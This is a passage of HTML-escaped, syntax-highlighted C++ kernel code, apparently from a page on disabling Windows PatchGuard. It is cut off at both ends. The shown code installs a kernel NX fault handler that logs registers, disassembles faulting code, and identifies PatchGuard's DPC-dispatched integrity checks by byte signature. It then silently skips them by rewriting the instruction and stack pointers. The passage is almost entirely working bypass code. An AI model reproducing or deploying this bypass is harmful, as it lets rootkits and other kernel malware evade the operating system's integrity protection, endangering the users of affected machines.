&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;pgc_disable_context_dpc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;ignored_pxi_flags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;va_image&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;va_session&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;va_process&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;va_self_ref&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;va_paged&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;inline&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="nf"&gt;is_va_ignored&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;any_ptr&lt;/span&gt; &lt;span class="n"&gt;virtual_address&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lookup_va_flags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;virtual_address&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;ignored_pxi_flags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// The ISR handling Kernel-mode NX faults:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="nf"&gt;on_knx_fault&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;virtual_address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nt&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;trapframe&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If ignored region, skip.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;is_va_ignored&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;virtual_address&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Get IRQL, display details.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;auto&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;stack&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mi"&gt;7ull&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;irql_t&lt;/span&gt; &lt;span class="n"&gt;irql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ia32&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get_effective_irql&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rflags&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;pgc_debug&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;KNX Caught @ %p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;RSP: %p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;RAX: %p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;RCX: %p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;RDX: %p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;RBX: %p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;RBP: %p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;R8: %p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;R9: %p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;R10: %p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;r10&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;R11: %p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;r11&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;IRQL: %d&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;irql&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;is_address_valid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;is_address_valid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;ins&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;xed&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;decode64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ins&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;%p: %s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ins&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;to_string&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;ins&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Dispatch level or IPI level PatchGuard components:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;irql&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;DISPATCH_LEVEL&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// KiDpcDispatch/CmpAppendDllSection clone called from dummy DPCs, decrypts and calls into pg context.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;pgc_disable_context_dpc&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x2E\x48\x31&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;is_cannonical&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;pgc_debug&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Discarded CmpAppendDllSection DPC: %llx&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
